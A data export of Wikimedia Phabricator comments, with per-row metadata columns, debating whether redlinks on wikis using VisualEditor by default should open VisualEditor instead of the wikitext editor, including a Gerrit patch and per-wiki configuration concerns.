+490395,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446955, @TTO wrote:
+> Many of the MW installations that have requested this appear to be corporate/internal wikis. Would you be willing to provide the feature for them, even if you do not enable it on WMF wikis?
+
+Yes, that's fine (though ideally we'd do so in a way that doesn't create technical debt in MediaWiki which we'd have to carry).",,,1436578387,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,1
+490394,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Many of the MW installations that have requested this appear to be corporate/internal wikis. Would you be willing to provide the feature for them, even if you do not enable it on WMF wikis?",,,1436578325,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+490260,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446206, @Solstag wrote:
+> This bug is about making the default choice of editor consistent. For red links. It's that simple.
+
+I understand. The current situation is poor for the majority of people who click 'edit' rather than 'edit source' and get VE rather than WT, except when it comes to red links.
+
+However, just blindly changing these from WT to VE would be a bad move for a few reasons:
+
+* It's a pretty core disruptive change to a core part of how MediaWiki works, which means it would probably break a number of scripts, gadgets, bots and other tools that have been built over the past 15 years relying on this being a certain way.
+* It would take a long time to roll out in Wikimedia production, as this would be a breaking change to the read HTML with `href`s' targets being changed, meaning the benefit for IPs would take many weeks to be fully felt (and likely breaking other things).
+* It would replace the bad system (use WT, no choice) with another bad system (use VE, no choice), rather than a 'proper' system of user choice
+* It would be particularly disruptive for 'power editors', who would be forced to switch over to WT every time they clicked edit, likely leading them to opt-out of VE in huge numbers.
+* It would be inconsistent – for namespaces which are WT-only, like `MediaWiki:` or `Template:`, would it take you to WT anyway?
+* For users who can't use VE (//e.g.// no JS, something we can't fix server-side), it would strand them on the 'read' page, rather than take then to WT
+
+Consequently, I am not willing to make this change before we have a single edit tab that solves (or obviates) each of these issues.",,,1436558337,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+490255,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446171, @Ricordisamoa wrote:
+>>>! In T55441#1446154, @Krenair wrote:
+>> We'd like to have a single edit tab where the user can chose between VE and a wikitext source editor
+> 
+> https://meta.wikimedia.org/wiki/Wikiafication
+
+This comment is at best unfair and at worst willful ignorance or trolling. Being able to switch between editors while editing has been requested repeatedly, and using the action=edit view for editors is the obvious choice, already made by others such as CodeEditor. It is the most obvious, most intuitive and best way to present two or more editors, and not ""additional and costly bloat to a site as an unsuccessful means of ""engaging visitors"" or ""building community"""", like that page states. ",,,1436557895,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1
+490244,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Please, this bug is not about having a single edit tab, or choice, or wikiafication or whatever.
+
+This bug is about making the default choice of editor consistent. For red links. It's that simple.",,,1436555598,,PHID-USER-wr7prgh3p37xrvbdr6w5,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+490236,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446154, @Krenair wrote:
+> We'd like to have a single edit tab where the user can chose between VE and a wikitext source editor
+
+https://meta.wikimedia.org/wiki/Wikiafication",,,1436554570,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+490234,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I'm not sure we want to use this hook for VE. We'd like to have a single edit tab (pointing to action=edit) where the user can chose between VE and a wikitext source editor instead, so this would be obsolete.",,,1436554102,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+487828,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1433506, @Juandev wrote:
+> So, why it was told to me, we need a community consensus?! Dont tell me that it cannot be set differently to each project?!
+
+At the moment, it cannot, because the feature you are asking for doesn't even exist yet. That is the problem we are trying to solve with the patch linked above.
+
+Once that is dealt with, then we can potentially act upon the community consensus and enable the feature on that wiki, if the VE boffins agree that it is a good thing to do. ",,,1436266371,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+487819,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1327857, @Krenair wrote:
+> When it happens, it'll happen on every wiki. Until then it can't be on any wiki...
+
+So, why it was told to me, we need a community consensus?! Dont tell me that it cannot be set differently to each project?!
+
+
+
+",,,1436264992,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,1
+486996,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1429220, @Nemo_bis wrote:
+> Red links are the single most important entry point for article editing after the edit tabs and section editing, so it makes sense to make them smarter/configurable.
+
+I've been wondering how are articles created. Is it red links from other articles? The red links that appears when search for a page that doesn't exist? Something else?",,,1436182556,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+486988,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Indeed, this bug is not about action=edit but about what gets linked most prominently. Red links are the single most important entry point for article editing after the edit tabs and section editing, so it makes sense to make them smarter/configurable.
+
+Then of course there are many other links to handle later (think of inputbox and so on) but divide et impera applies.",,,1436180945,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,0
+486910,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","@Krenair I'm a little puzzled by your comment:
+
+>>! In T55441#1412564, @Krenair wrote:
+> Sorry, but this is not a thing. MediaWiki does not let you set default=wikitext vs. default=visualeditor. You get given one editor by MediaWiki for wikitext, and it's what gets shown at action=edit (the target of all of MediaWiki's red links). 
+
+Well, isn't that part of the point of this issue - to make redlinks configurable? Of course, T102398 would render that moot, but in the interim, I have uploaded new patch sets to https://gerrit.wikimedia.org/r/178817 that allow extensions to retarget redlinks.
+
+I don't expect WMF wikis to use this, but some third-party installations are interested in it (judging by posts at Support Desk over the past few months).",,,1436163446,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+483973,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1408724, @Solstag wrote:
+> A project that has visual editor as default for
+
+Sorry, but this is not a thing. MediaWiki does not let you set default=wikitext vs. default=visualeditor. You get given one editor by MediaWiki for wikitext, and it's what gets shown at action=edit (the target of all of MediaWiki's red links). VE hacks itself in via veaction=edit, but this cannot be considered a default by any means.",,,1435631163,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,104,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1
+483834,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1408724, @Solstag wrote:
+> A project that has visual editor as default for everybody, even unauthenticated users, should open red links with the visual editor.
+
+A gadget (enabled by default) which replaces `action=edit` with `veaction=edit` might be the easiest short-term solution - it gives the ability to opt out, and does not cause cache fragmentation.",,,1435614861,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,104,,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1,1
+483254,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Hi folks! Just in case the duplicate doesn't speak by itself, I see no reason why we don't have right now:
+
+A project that has visual editor as default for everybody, even unauthenticated users, should open red links with the visual editor.
+
+All other projects should wait until you sort out the mess with picking the right editor for each user.
+
+This is definitely not hard to implement, there's not even a new config involved.
+
+Cheers and thanks for looking into this.",,,1435534756,,PHID-USER-wr7prgh3p37xrvbdr6w5,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,103,,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+478593,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1327857, @Krenair wrote:
+> When it happens, it'll happen on every wiki. Until then it can't be on any wiki...
+
+A lot of Wikimedia wikis have been happily using VisualEditor for over a year, and the wikitext editor being the default even for new editors is problematic for them. (It is somewhat ridiculous, for example, that [[ https://www.mediawiki.org/wiki/Extension:SandboxLink | SandboxLink ]], which is mainly meant to make the life of new editors easier, drops them into a wikitext editor.) I don't see what's wrong with providing a per-wiki option.",,,1434826324,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,102,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1
+472699,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Updated title to reflect actual desired end result. The url structure is secondary and may actually change (see T54281).,,,1433993685,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,101,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+467166,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","When it happens, it'll happen on every wiki. Until then it can't be on any wiki...",,,1433206467,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,100,,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+467162,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Could you enable this on cs.wv per community consensus: https://cs.wikiversity.org/wiki/Wikiverzita:Diskusn%C3%AD_prostor#Zalo.C5.BEen.C3.AD_a_editace_str.C3.A1nky_ve_VisualEditoru,,,1433206300,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,100,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+455974,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Change 178817 restored by TTO:
+Consistent edit links
+
+Reason:
+Seems like a valuable change.
+
+[[https://gerrit.wikimedia.org/r/178817]]",,,1431085942,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,96,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+455972,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","This option should (must?) be available for those who wish to use VE on their own MediaWiki installations. Currently, redlinks are a ""hole"" through which unsuspecting users can ""fall"" into the ""pipework"" of the wikitext editor.
+
+Most of the discussion here deals with the social aspects of the task, which doesn't seem hugely relevant here. The functionality would presumably live behind a $wg flag, and be switched off by default.",,,1431085917,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,96,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0
+444227,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Change 178817 abandoned by Ricordisamoa:
+Consistent edit links
+
+Reason:
+There ain't no such thing as a solution for this.
+
+[[https://gerrit.wikimedia.org/r/178817]]",,,1429130863,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,93,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+404209,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I do not plan to work on it before the discussion has an outcome (nor I have any personal interest in supporting VisualEditor at the moment), but the patch is up for anyone who wants to play with it.",,,1422491673,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,82,,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+404207,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Are you going to work on it more? I got the impression from the way you unassigned this that we shouldn't review the patch before discussing this further.,,,1422491216,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,82,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0
+404202,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",@Krenair: should I abandon my patch then?,,,1422490645,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,82,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0
+401972,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",This has to be discussed further.,,,1421814853,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,81,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+401041,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#849854, @matmarex wrote:
+> What I meant is that a vocal group of English Wikipedia users hates VisualEditor's guts and would enjoy the new opportunity to spit on it. I hope this clarifies the issue. :)
+> 
+> VisualEditor is also still not quite compatible with some languages and some wikis' conventions, so this would regardless need to be behind a configuration option.
+
+I thought, they asked to switch it off at all. ",,,1421475541,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,80,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1
+396692,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I support not making assumptions about the editor, but I think making action=edit point to VisualEditor would break lots of things.",,,1420725110,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,79,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+396676,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I think the editor should initialise at a canonical url. Perhaps with a way to force a specific editor but the vast majority of urls should point to the edit page without making assumptions about what editor that is. This means when we switch the default, existing urls will work as expected.
+
+We already have two different editors for wikitext (classic toolbar and WikiEditor). Though they don't have a way to switch without changing user preferences right now, WikiEditor loads on the old edit page. I think from a user perspective, VisualEditor should be introduced the same way.
+
+action=edit:
+* Would load editor based on user preference. Default user preference being the site default. As with any user preference, this preference can be made immutable or hidden from the preferences page if we don't want it to be per-user.
+* Use `&editor=...` to force a specific editor. This is what can be used when applications need to interoperate. E.g. in gadgets needing wikitext. Or when VisualEditor submits data to the wikitext editor (though it may incorporate its own wikitext editor). And of course in links like ""Edit"" / ""Edit source"". And permalinks (VisualEditor may want to do a pushState to editor=ve once loaded via plain action=edit so that one can share permalinks).",,,1420722912,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,79,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+342723,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","What I meant is that a vocal group of English Wikipedia users hates VisualEditor's guts and would enjoy the new opportunity to spit on it. I hope this clarifies the issue. :)
+
+VisualEditor is also still not quite compatible with some languages and some wikis' conventions, so this would regardless need to be behind a configuration option.",,,1418717375,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,76,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+342702,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#840960, @matmarex wrote:
+> I am not sure of this change will be beneficial at this point, given that VE is currently still used by  minority of users. It might result in more people disabling VE entirely.
+
+Why do you think so? I have a reason, why I set up VE and I am disappointed it doesn not work for creating new pages. Who might be disappointed from using it on VE?
+
+",,,1418699501,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,76,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+342701,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I reported this as a nead to create new page with VE. In this ligt there is a not logic message ""you follow the link to the page which does not exist"" Basically yes, but I had to do the step out of the page displayed with normal wikitext editing to the different one in VE. Once this bug removed, this can stay.",,,1418699317,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,76,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+340907,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","One question is whether we want to just overwrite existing edit links, or to add a new one, for example in the [[ https://www.mediawiki.org/w/index.php?title=VisualEditor&action=info&uselang=en#Page_properties | page properties ]] section.
